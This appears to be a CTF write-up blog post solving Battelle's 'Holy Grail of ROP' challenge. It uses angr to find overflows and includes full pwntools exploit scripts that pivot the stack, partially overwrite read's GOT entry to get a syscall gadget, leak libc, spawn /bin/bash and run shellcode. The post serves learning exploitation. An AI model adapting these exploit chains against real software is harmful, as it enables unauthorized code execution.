~ all posts ctf projects research
3305 words
17 minutes
Battelle Winter CTF 2022 -- Holy Grail of ROP
2022-01-07
1
A Møøse once bit my sister... No realli! She was Karving her initials on the møøse with the sharpened end of an interspace tøøthbrush given her by Svenge - her brother-in-law - an Oslo dentist and star of many Norwegian møvies "The Høt Hands of an Oslo Dentist", "Fillings of Passion", "The Huge Mølars of Horst Nordfink"...
2
3
nc ctf.battelle.org 30042
4
5
Hint: To pwn a binary find the function “holy_grail” and call it

recon#

Unlike many pwn challenges, this had no binary to be downloaded. The reason why quickly became clear when we connected to the provided service and it dropped an ELF binary.

1
❯ nc ctf.battelle.org 30042
2
To get to the holy grail you must answer three questions...
3
Or... The same question 3 times.
4
WHAT?
5
Monty Python and The Holy Grail quote am I thinking of?
6
Oh yea and you have to find 3 holy grails... Wait was it 3 or 5?********************************
7
EL4!4 hDDPQ/lib/ld-linux.so.2GNUGNYMɥ K0` "D<)5
8
V libc.so.6_IO_stdin_usedstrncmpstrlenmemsetreadstdoutsetvbuf__libc_start_mainGLIBC_2.0__gmon_start__ii
9
...
10
$$ h 0h )
11
********************************
12
SHE'S A WITCH BURN HER!

The binary wasn’t in a format which could easily be made into a file first thing I did was construct a brief script to connect and write the binary to a file for further analysis.

1
from pwn import *
2
import time
3
4
context.terminal = ['kitty','-e']
5
6
r = remote("ctf.battelle.org", 30042)
7
8
r.recvuntil(b"********************************")
9
r.recvline()
10
with open("binary1", "wb") as f:
11
f.write(r.recvuntil(b"********************************\n"))

The main function is pretty minimal; only calling two functions.

1
void FUN_08048516(void) {
2
setvbuf(stdout,(char *)0x0,0,0);
3
return;
4
}

The first disables buffering on stdout, common in CTF challenges over a TCP socket like this because buffering can make exploits behave strangely.

1
void FUN_08048579(void) {
2
size_t __n;
3
int iVar1;
4
char local_31 [33];
5
char *local_10;
6
7
local_10 = "A SHRUBBERRY!!!!";
8
memset(local_31,0,0x21);
9
read(0,local_31,0x1d);
10
__n = strlen(PTR_s_We_have_no_shrubberies_here!_0804b02c);
11
iVar1 = strncmp(PTR_s_We_have_no_shrubberies_here!_0804b02c,local_31,__n);
12
if (iVar1 == 0) {
13
FUN_080485fb();
14
}
15
else {
16
FUN_0804867d();
17
}
18
return;
19
}

The second reads from stdin, compares it to a static string, and then branches based on the equality. Each branch calls another function which does essentially the same thing, forming a tree of functions, and then finally there are “leaf” functions which do not call other functions at all.

1
void FUN_08048ad7(void) {
2
size_t __n;
3
char local_18 [8];
4
char *local_10;
5
6
local_10 = "Your Mother was a Hamster, and your Father smelt of Elderberries!";
7
memset(local_18,0,8);
8
read(0,local_18,0xe0);
9
__n = strlen(PTR_DAT_0804b058);
10
strncmp(PTR_DAT_0804b058,local_18,__n);
11
return;
12
}

While looking through the stripped functions I saw a buffer overflow in one of the leaf functions. At this point the rough shape of the challenge is becoming clear. Subsequent connections to the service provide binaries which follow the same archetype but are subtly different — strings, buffer sizes, etc differ. We need to write code to generate an exploit in a generic enough manner that it will work for any binary the server provides.

automatic exploitation#

I used angr to generate exploiting payloads for these binaries. I would love to have created this myself, but I was able to pretty much wholesale snag a script from a blog post on discovering buffer overflows with angr

1
import angr, argparse
2
from pwn import *
3
4
def main():
5
parser = argparse.ArgumentParser()
6
7
parser.add_argument("Binary")
8
9
args = parser.parse_args()
10
11
TARGET = "DCBA"
12
13
p = angr.Project(args.Binary)
14
state = p.factory.blank_state()
15
16
simgr = p.factory.simgr(state, save_unconstrained=True)
17
simgr.stashes['mem_corrupt'] = []
18
19
def check_mem_corruption(simgr):
20
if len(simgr.unconstrained):
21
for path in simgr.unconstrained:
22
if path.satisfiable(extra_constraints=[path.regs.pc == TARGET]):
23
path.add_constraints(path.regs.pc == TARGET)
24
if path.satisfiable():
25
simgr.stashes['mem_corrupt'].append(path)
26
simgr.stashes['unconstrained'].remove(path)
27
simgr.drop(stash='active')
28
return simgr
29
10 collapsed lines
30
simgr.explore(step_func=check_mem_corruption)
31
if len(simgr.stashes['mem_corrupt']) == 0:
32
print("could not derive corrupting payload :(")
33
exit(1)
34
else:
35
dump = simgr.stashes['mem_corrupt'][0].posix.dumps(0)
36
f.write(dump[:dump.index(b"ABCD")-4])
37
38
if __name__ == "__main__":
39
main()

This script took a binary as an argument, attempted to derive a corrupting payload, and then wrote it to a file for my usage elsewhere.

read -> syscall#

So, we have a decent (but variable) sized buffer overflow. Where do we go from here?

1
[*] '/home/sky/battelle-ctf-2021/holy_grail_rop/binary1'
2
Arch: i386-32-little
3
RELRO: Partial RELRO
4
Stack: No canary found
5
NX: NX enabled
6
PIE: No PIE (0x8048000)

Mitigations are pretty light — NX is enabled but it lacks a canary and PIE is disabled. Usually in this scenario I would reach for ret2libc, but ASLR makes that troublesome in this situation because we have no easy method of leaking a libc pointer. On the bright side, no PIE means we can easily pivot the stack into BSS.

1
❯ nm --dynamic ./binary1
2
w __gmon_start__
3
08048d3c R _IO_stdin_used
4
U __libc_start_main@GLIBC_2.0
5
U memset@GLIBC_2.0
6
U read@GLIBC_2.0
7
U setvbuf@GLIBC_2.0
8
U stdout@GLIBC_2.0
9
U strlen@GLIBC_2.0
10
U strncmp@GLIBC_2.0

We have access to a pretty slim set of libc functions, none of which write to stdout. Interestingly enough there is an stdout symbol, from buffering being disabled, but I do not believe that to be exploitable.

I was stuck at this point for ages trying to think up a viable exploit method when I noticed something interesting about the disassembly of read.

1
gef➤ disas read
2
Dump of assembler code for function read:
3
0xf7e8b850 <+0>: endbr32
4
0xf7e8b854 <+4>: push edi
5
0xf7e8b855 <+5>: push esi
6
0xf7e8b856 <+6>: call 0xf7edff15 <__x86.get_pc_thunk.si>
7
0xf7e8b85b <+11>: add esi,0xfa5c1
8
0xf7e8b861 <+17>: push ebx
9
0xf7e8b862 <+18>: sub esp,0x10
10
0xf7e8b865 <+21>: mov eax,gs:0xc
11
0xf7e8b86b <+27>: test eax,eax
12
0xf7e8b86d <+29>: jne 0xf7e8b898 <read+72>
13
0xf7e8b86f <+31>: mov ebx,DWORD PTR [esp+0x20]
14
0xf7e8b873 <+35>: mov ecx,DWORD PTR [esp+0x24]
15
0xf7e8b877 <+39>: mov eax,0x3
16
0xf7e8b87c <+44>: mov edx,DWORD PTR [esp+0x28]
17
0xf7e8b880 <+48>: call DWORD PTR gs:0x10
18
...

At read+48 there is an instruction which performs a syscall and more importantly this is quite close to the beginning of the function so there is a pretty decent chance the difference between read+0 and read+48 is only the last byte. This is vitally important because ASLR does not randomize the lowest 12 bytes which means the value of this byte on the server is constant. If we can figure out what this byte is on the server, we can transmute read into a syscall gadget which can be leveraged for information leakage.

As it turns out, constructing a ROP chain which can utilize a syscall gadget to leak information in this binary is nontrivial. My original plan was to use sigreturn to set the argument registers, but that turned out to not work because it clobbered the segment registers (genuinely unsure why because I don’t think it should; let me know if you’re reading this and you know why). I managed to make a rop chain capable of leaking a single byte by leveraging leftover register values from read, an INC ECX gadget, and a “mov al, 4; or byte ptr [ecx], al; leave; ret” gadget (I later improved on this rop chain to be able to leak larger ranges, but this worked to brute force this byte).

I wrote up a quick script to brute force overwrite the last byte and apply this ROP chain. The theory was that if the overwrite was correct, read would become a syscall gadget and I would see an extra byte in the response.

(this was pretty much my earliest functional script; see later ones if you want comments :) )

1
from pwn import *
2
import time
3
4
bss = 0x0804b068
5
import multiprocessing
6
semaphore = multiprocessing.Semaphore(1)
7
file_semaphore = multiprocessing.Semaphore(1)
8
9
def try_byte(syscall_gadget_no):
10
try:
11
syscall_gadget = p8(syscall_gadget_no)
12
with semaphore:
13
print(f"trying {syscall_gadget_no} - {syscall_gadget}")
14
15
r = remote("ctf.battelle.org", 30042)
16
17
r.recvuntil(b"********************************")
18
r.recvline()
19
with open("binary1", "wb") as f:
20
f.write(r.recvuntil(b"********************************"))
21
22
process(["python", "detect_vuln2.py", "binary1"]).recvall()
23
24
exe = ELF("./binary1")
25
POP_EBX_RET = 0x08048371
26
INC_ECX_RET = next(exe.search(b"\x41\xc3"))
27
28
pivot_payload = b""
29
55 collapsed lines
30
pivot_payload += p32(bss + len(pivot_payload) + 4) + b"/bin/bash".ljust(16,b"\x00")
31
as_for_strlen_start = bss + len(pivot_payload)
32
pivot_payload += p32(bss + len(pivot_payload) + 4) + b"A"*(150)
33
34
pivot_payload += p32(0x0804b14a-4)
35
36
chain_start = bss + len(pivot_payload)
37
38
pivot_chain = ROP(exe)
39
40
pivot_chain.read(0, exe.got['read'], 1)
41
pivot_chain.raw(pivot_chain.ebx[0])
42
pivot_chain.raw(1)
43
for i in range(4):
44
pivot_chain.raw(INC_ECX_RET)
45
pivot_chain.raw(0x080484f7) # mov ax, 4 gadget
46
for i in range(4):
47
pivot_chain.raw(INC_ECX_RET)
48
pivot_chain.raw(exe.symbols['read'])
49
50
log.info("pivot chain created")
51
52
pivot_payload += pivot_chain.chain()
53
54
rop = ROP(exe)
55
rop.read(0, bss, len(pivot_payload))
56
rop.raw(0x08048485)
57
58
raw_rop = rop.chain()
59
log.info("original chain created")
60
61
62
with open("payload.bin","rb") as f:
63
r.send(f.read() + p32(chain_start-4) + raw_rop)
64
time.sleep(1)
65
r.send(pivot_payload)
66
time.sleep(1)
67
r.send(syscall_gadget)
68
received = r.recvall()
69
with file_semaphore:
70
with open("brute.log", "a") as f:
71
f.write(f"{syscall_gadget_no} -> {received}\n")
72
with semaphore:
73
print(f"finishing {syscall_gadget_no} - {received}")
74
return (syscall_gadget_no, received)
75
except:
76
try_byte(syscall_gadget_no)
77
78
from multiprocessing import Pool
79
80
pool = Pool(4)
81
82
with open("result.log", "w") as f:
83
for (a,b) in pool.map(try_byte, range(256)):
84
f.write(f"{syscall_gadget_no} -> {received}\n")

This turned out to work fine (although it was quite close to the end, I was getting a little scared) and I discovered that 244 (0xf4) was the correct byte to overwrite with to construct a syscall gadget.

1
230 -> b"\nSHE'S A WITCH BURN HER!\n"
2
244 -> b"\nPSHE'S A WITCH BURN HER!\n"
3
245 -> b"\nSHE'S A WITCH BURN HER!\n"

Once I discovered how to leak a single byte, I leaked individual bytes of the GOT by varying the number of INC ECX gadgets to determine the lower 12 bits of __libc_start_main (0xa50) and setvbuf (0x700). I then used libc.rip to determine that the libc version on remote was libc6-i386_2.28-10_amd64.

getting a shell!#

At this point I had all the building blocks necessary to get a shell, I just needed to refine and put it together. The key difference between my earlier rop chain and the chain I used to get a shell was the size of my information leak. I lacked any gadgets to control edx directly, so I was left to rely on whatever had previously set it — in this case the read call I used to turn read into a syscall gadget. Naively, this left 1 in edx because I was overwriting a single byte. I realized I could take advantage of the fact that read length is a maximum and it will happily read fewer bytes if that is all that is present. I adjusted it to read 4 bytes (a full word leak) and then dropped a time.sleep after sending only a single byte to force read to return early.

Putting this into action got me a total ASLR leak, allowing me to return to libc with 100% success (more or less, I got the odd connection error)

1
from pwn import *
2
import time, angr, logging
3
4
logging.getLogger('angr').setLevel('ERROR')
5
logging.getLogger('claripy').setLevel('ERROR')
6
7
context.terminal = ['kitty','-e']
8
9
r = remote("ctf.battelle.org", 30042)
10
11
r.recvuntil(b"********************************")
12
r.recvline()
13
with open("current_binary", "wb") as f:
14
f.write(r.recvuntil(b"********************************\n"))
15
16
17
p = angr.Project("current_binary")
18
state = p.factory.blank_state()
19
20
simgr = p.factory.simgr(state, save_unconstrained=True)
21
simgr.stashes['mem_corrupt'] = []
22
23
def check_mem_corruption(simgr):
24
if len(simgr.unconstrained):
25
for path in simgr.unconstrained:
26
if path.satisfiable(extra_constraints=[path.regs.pc == "ABCD"]):
27
path.add_constraints(path.regs.pc == "ABCD")
28
if path.satisfiable():
29
simgr.stashes['mem_corrupt'].append(path)
106 collapsed lines
30
simgr.stashes['unconstrained'].remove(path)
31
simgr.drop(stash='active')
32
return simgr
33
34
simgr.explore(step_func=check_mem_corruption)
35
if len(simgr.stashes['mem_corrupt']) == 0:
36
log.warn("could not find memory corrupting input")
37
exit(1)
38
corrupting = simgr.stashes['mem_corrupt'][0].posix.dumps(0)
39
payload = corrupting[:corrupting.index(b"DCBA")-4]
40
41
pivoted_stack_1 = 0x0804b068 # start of bss + enough to not clobber important stuff
42
43
exe = ELF("./current_binary")
44
45
46
POP_EBX_RET = 0x08048371
47
POP_EBX_RET = 0x08048371
48
MOV_AX_4 = 0x080484f7
49
# above gadgets are constant
50
POP_EBP_RET = next(exe.search(b"\x5d\xc3"))
51
INC_ECX_RET = next(exe.search(b"\x41\xc3"))
52
LEAVE_RET = next(exe.search(b"\xc9\xc3"))
53
RET = next(exe.search(b"\xc3"))
54
55
# the first thing we want to do is pivot the stack
56
# we're gonna have to commit some sins to get this to work and limited rop chain size isn't gonna do it
57
pivot_payload = b""
58
pivot_payload += p32(0x0804b09c-4)
59
60
pivot_chain = ROP(exe)
61
# step 1 is to overwrite the last byte of the read pointer
62
# I used length to leave 4 in edx for a later write because read can receive fewer than len bytes
63
pivot_chain.read(0, exe.got['read'], 4)
64
# Step 2 is to write a pointer out of the GOT, allowing me to break ASLR and determine the version of libc on the server
65
# ebx/file descriptor can be set by pop ebx gadget but we need to be more inventive for other arguments
66
pivot_chain.raw(pivot_chain.ebx[0])
67
pivot_chain.raw(1)
68
# ecx is already the GOT entry of read because we read over the entry
69
# we lack any easy pointers to control ECX but we can increment it four times to switch to the next entry in the GOT
70
for i in range(4):
71
pivot_chain.raw(INC_ECX_RET)
72
# to write with a syscall gadget we need eax == 4
73
# the only gadget I could find to do so is mov al, 4; or byte ptr [ecx], al; leave; ret;
74
# ecx at this point is the GOT entry to strlen which we can comfortably clobber because it is no longer needed
75
pivot_chain.raw(MOV_AX_4)
76
# we then increment ECX again to leak __libc_start_main
77
for i in range(4):
78
pivot_chain.raw(INC_ECX_RET)
79
# and lastly we call "read" which is actually a syscall gadget
80
pivot_chain.raw(exe.symbols['read'])
81
82
# to finish out this rop chain we need to set up for the next stage of this exploit
83
# we will need to construct another rop chain with our new knowledge of libc base
84
# 7 null words are garbage values which are consumed between read's syscall and ret
85
for i in range(7):
86
pivot_chain.raw(0)
87
# these ret gadgets make the stack pointer far enough from the base that calling into the dynamic linker will not segfault
88
# i ran into issues with it segfaulting because it hit the base of bss
89
for i in range(100):
90
pivot_chain.raw(RET)
91
# and lastly we use the plt stub to convince the dynamic linker into retrieving the original read pointer
92
# allowing us to read again and inject a second rop chain
93
# we're reading 11 * 4 bytes (size of the second pivot stack) into a location in the bss slightly after our previous rop chain ends
94
pivot_chain.call(0x8048396, [0, 0x0804b260, 11 * 4])
95
log.info("pivot chain created")
96
log.info(pivot_chain.dump())
97
98
pivot_payload += pivot_chain.chain()
99
pivot_payload += p32(pivoted_stack_1 + len(pivot_payload) + 4) + b"/bin/bash".ljust(16,b"\x00")
100
101
rop = ROP(exe)
102
rop.read(0, pivoted_stack_1, len(pivot_payload))
103
rop.raw(LEAVE_RET)
104
# we override the stored ebp with pivoted_stack_1 so this will copy ebp, esp and adjust the stack to the new location
105
# we previously read an arbitrarily large rop chain to that area
106
log.info("first chain created")
107
log.info(rop.dump())
108
109
r.send(payload + p32(pivoted_stack_1) + rop.chain())
110
time.sleep(1)
111
r.send(pivot_payload)
112
time.sleep(1)
113
r.send(p8(244))
114
time.sleep(1)
115
116
117
libc_base = u32(r.recv(4)) - 0x0001aa50 # offset of __libc_start_main
118
119
log.info(f"leaked libc_base @ {hex(libc_base)}")
120
121
122
execve = libc_base + 0x000c0470
123
mprotect = libc_base + 0x000f5940
124
read = libc_base + 0x000e7ea0
125
126
# the second rop chain is created with knowledge of libc base
127
# so no need to do anything tricky with read
128
pivot_chain_2 = ROP(exe)
129
pivot_chain_2.call(execve, [0x0804b274, 0, 0]) # location of /bin/bash in bss
130
log.info("created second pivot chain")
131
log.info(pivot_chain_2.dump())
132
r.send(pivot_chain_2.chain())
133
r.send("whoami")
134
135
r.interactive()

As some careful enumeration of the box showed (very careful because I got about 10 seconds before the timeout kicked me) it was missing several important binaries (/bin/sh, cat, etc). It did, luckily, have ls which showed me the contents of the working directory.

1
bin
2
dev
3
exec_8c24169a11a765ad7302322dc13b8917.bin
4
hint.txt
5
lib
6
lib32
7
lib64
8
log
9
usr

The most interesting one is hint.txt — I had assumed that getting a shell wouldn’t be sufficient because there are mentions of having to exploit multiple binaries and calling the symbol “holy_grail” which did not exist in the binary. The text of this hint tells us that it is linked with “libgrail.so” using LD_PRELOAD.

1
Congrats! You we're supposed to find this!
2
3
Here's your hint
4
5
Your binary was invoked like this
6
7
LD_PRELOAD=/lib32/libgrail.so ./bin

This likely contains the aforementioned “holy_grail” symbol which needs to be called to win. I exfiltrated it with base64 (love that binary, dropping static binaries on boxes you really aren’t supposed to have them with base64 is a quality strat) and found the following function.

1
void holy_grail(void)
2
3
{
4
int __fd;
5
size_t __n;
6
7
__fd = open("./log",2);
8
__n = strlen("DONE\n");
9
write(__fd,"DONE\n",__n);
10
close(__fd);
11
/* WARNING: Subroutine does not return */
12
exit(0x2c);
13
}

I learned from an admin that the intended solution was ret2dlresolve — the binary had no plt stub for this function so it couldn’t be called directly, but if you forged one the linker would happily fetch a pointer to this function for you.

I, being incredibly lazy, chose to just fake this function by writing DONE to the log file in my rop chain. sorry ;)

tying it all together#

As I had an 100% accurate ret2libc chain it didn’t take much to finish up the challenge. I modified the end of my chain to mprotect and write shellcode which mimicked the holy grail function, wrapped it in a loop, and let it run.

1
from pwn import *
2
import time, angr, logging
3
4
logging.getLogger('angr').setLevel('ERROR')
5
logging.getLogger('claripy').setLevel('ERROR')
6
7
context.terminal = ['kitty','-e']
8
9
r = remote("ctf.battelle.org", 30042)
10
11
for i in range(5):
12
log.info(f"solving binary {i}")
13
r.recvuntil(b"********************************")
14
r.recvline()
15
with open("current_binary", "wb") as f:
16
f.write(r.recvuntil(b"********************************\n"))
17
18
p = angr.Project("current_binary")
19
state = p.factory.blank_state()
20
21
simgr = p.factory.simgr(state, save_unconstrained=True)
22
simgr.stashes['mem_corrupt'] = []
23
24
def check_mem_corruption(simgr):
25
if len(simgr.unconstrained):
26
for path in simgr.unconstrained:
27
if path.satisfiable(extra_constraints=[path.regs.pc == "ABCD"]):
28
path.add_constraints(path.regs.pc == "ABCD")
29
if path.satisfiable():
118 collapsed lines
30
simgr.stashes['mem_corrupt'].append(path)
31
simgr.stashes['unconstrained'].remove(path)
32
simgr.drop(stash='active')
33
return simgr
34
35
simgr.explore(step_func=check_mem_corruption)
36
if len(simgr.stashes['mem_corrupt']) == 0:
37
log.warn("could not find memory corrupting input")
38
exit(1)
39
corrupting = simgr.stashes['mem_corrupt'][0].posix.dumps(0)
40
payload = corrupting[:corrupting.index(b"DCBA")-4]
41
42
pivoted_stack_1 = 0x0804b068 # start of bss + enough to not clobber important stuff
43
44
exe = ELF("./current_binary")
45
46
47
POP_EBX_RET = 0x08048371
48
POP_EBX_RET = 0x08048371
49
MOV_AX_4 = 0x080484f7
50
# above gadgets are constant
51
POP_EBP_RET = next(exe.search(b"\x5d\xc3"))
52
INC_ECX_RET = next(exe.search(b"\x41\xc3"))
53
LEAVE_RET = next(exe.search(b"\xc9\xc3"))
54
RET = next(exe.search(b"\xc3"))
55
56
# the first thing we want to do is pivot the stack
57
# we're gonna have to commit some sins to get this to work and limited rop chain size isn't gonna do it
58
pivot_payload = b""
59
pivot_payload += p32(0x0804b09c-4)
60
61
pivot_chain = ROP(exe)
62
# step 1 is to overwrite the last byte of the read pointer
63
# I used length to leave 4 in edx for a later write because read can receive fewer than len bytes
64
pivot_chain.read(0, exe.got['read'], 4)
65
# Step 2 is to write a pointer out of the GOT, allowing me to break ASLR and determine the version of libc on the server
66
# ebx/file descriptor can be set by pop ebx gadget but we need to be more inventive for other arguments
67
pivot_chain.raw(pivot_chain.ebx[0])
68
pivot_chain.raw(1)
69
# ecx is already the GOT entry of read because we read over the entry
70
# we lack any easy pointers to control ECX but we can increment it four times to switch to the next entry in the GOT
71
for i in range(4):
72
pivot_chain.raw(INC_ECX_RET)
73
# to write with a syscall gadget we need eax == 4
74
# the only gadget I could find to do so is mov al, 4; or byte ptr [ecx], al; leave; ret;
75
# ecx at this point is the GOT entry to strlen which we can comfortably clobber because it is no longer needed
76
pivot_chain.raw(MOV_AX_4)
77
# we then increment ECX again to leak __libc_start_main
78
for i in range(4):
79
pivot_chain.raw(INC_ECX_RET)
80
# and lastly we call "read" which is actually a syscall gadget
81
pivot_chain.raw(exe.symbols['read'])
82
83
# to finish out this rop chain we need to set up for the next stage of this exploit
84
# we will need to construct another rop chain with our new knowledge of libc base
85
# 7 null words are garbage values which are consumed between read's syscall and ret
86
for i in range(7):
87
pivot_chain.raw(0)
88
# these ret gadgets make the stack pointer far enough from the base that calling into the dynamic linker will not segfault
89
# i ran into issues with it segfaulting because it hit the base of bss
90
for i in range(100):
91
pivot_chain.raw(RET)
92
# and lastly we use the plt stub to convince the dynamic linker into retrieving the original read pointer
93
# allowing us to read again and inject a second rop chain
94
# we're reading 11 * 4 bytes (size of the second pivot stack) into a location in the bss slightly after our previous rop chain ends
95
pivot_chain.call(0x8048396, [0, 0x0804b260, 11 * 4])
96
log.info("pivot chain created")
97
log.info(pivot_chain.dump())
98
99
pivot_payload += pivot_chain.chain()
100
pivot_payload += p32(pivoted_stack_1 + len(pivot_payload) + 4) + b"/bin/bash".ljust(16,b"\x00")
101
102
rop = ROP(exe)
103
rop.read(0, pivoted_stack_1, len(pivot_payload))
104
rop.raw(LEAVE_RET)
105
# we override the stored ebp with pivoted_stack_1 so this will copy ebp, esp and adjust the stack to the new location
106
# we previously read an arbitrarily large rop chain to that area
107
log.info("first chain created")
108
log.info(rop.dump())
109
110
r.send(payload + p32(pivoted_stack_1) + rop.chain())
111
time.sleep(1)
112
r.send(pivot_payload)
113
time.sleep(1)
114
r.send(p8(244))
115
time.sleep(1)
116
117
118
libc_base = u32(r.recv(4)) - 0x0001aa50 # offset of __libc_start_main
119
120
log.info(f"leaked libc_base @ {hex(libc_base)}")
121
122
123
execve = libc_base + 0x000c0470
124
mprotect = libc_base + 0x000f5940
125
read = libc_base + 0x000e7ea0
126
127
shellcode = b""
128
shellcode += asm(shellcraft.i386.linux.open("./log", 2))
129
shellcode += asm(shellcraft.i386.linux.echo("DONE\n",sock="eax"))
130
shellcode += asm(shellcraft.i386.linux.exit(0x2c))
131
132
133
shellcode_loc = 0x0804b284+8 # just took the end of the rop chain and added a bit so they wouldn't run over each other
134
135
# the second rop chain is created with knowledge of libc base
136
# so no need to do anything tricky with read
137
# I just call mprotect to make bss rwx, write shellcode, and then return to it
138
pivot_chain_2 = ROP(exe)
139
pivot_chain_2.call(mprotect, [0x0804b000, 0x2000, 7])
140
pivot_chain_2.call(read, [0, shellcode_loc, len(shellcode)])
141
pivot_chain_2.raw(shellcode_loc)
142
log.info("created second pivot chain")
143
log.info(pivot_chain_2.dump())
144
r.send(pivot_chain_2.chain())
145
r.send(shellcode)
146
147
r.interactive()
1
YOU FOUND THE HOLY GRAIL!
2
flag{Y0u_f1g4t_w311_sir_knig4t_7461834}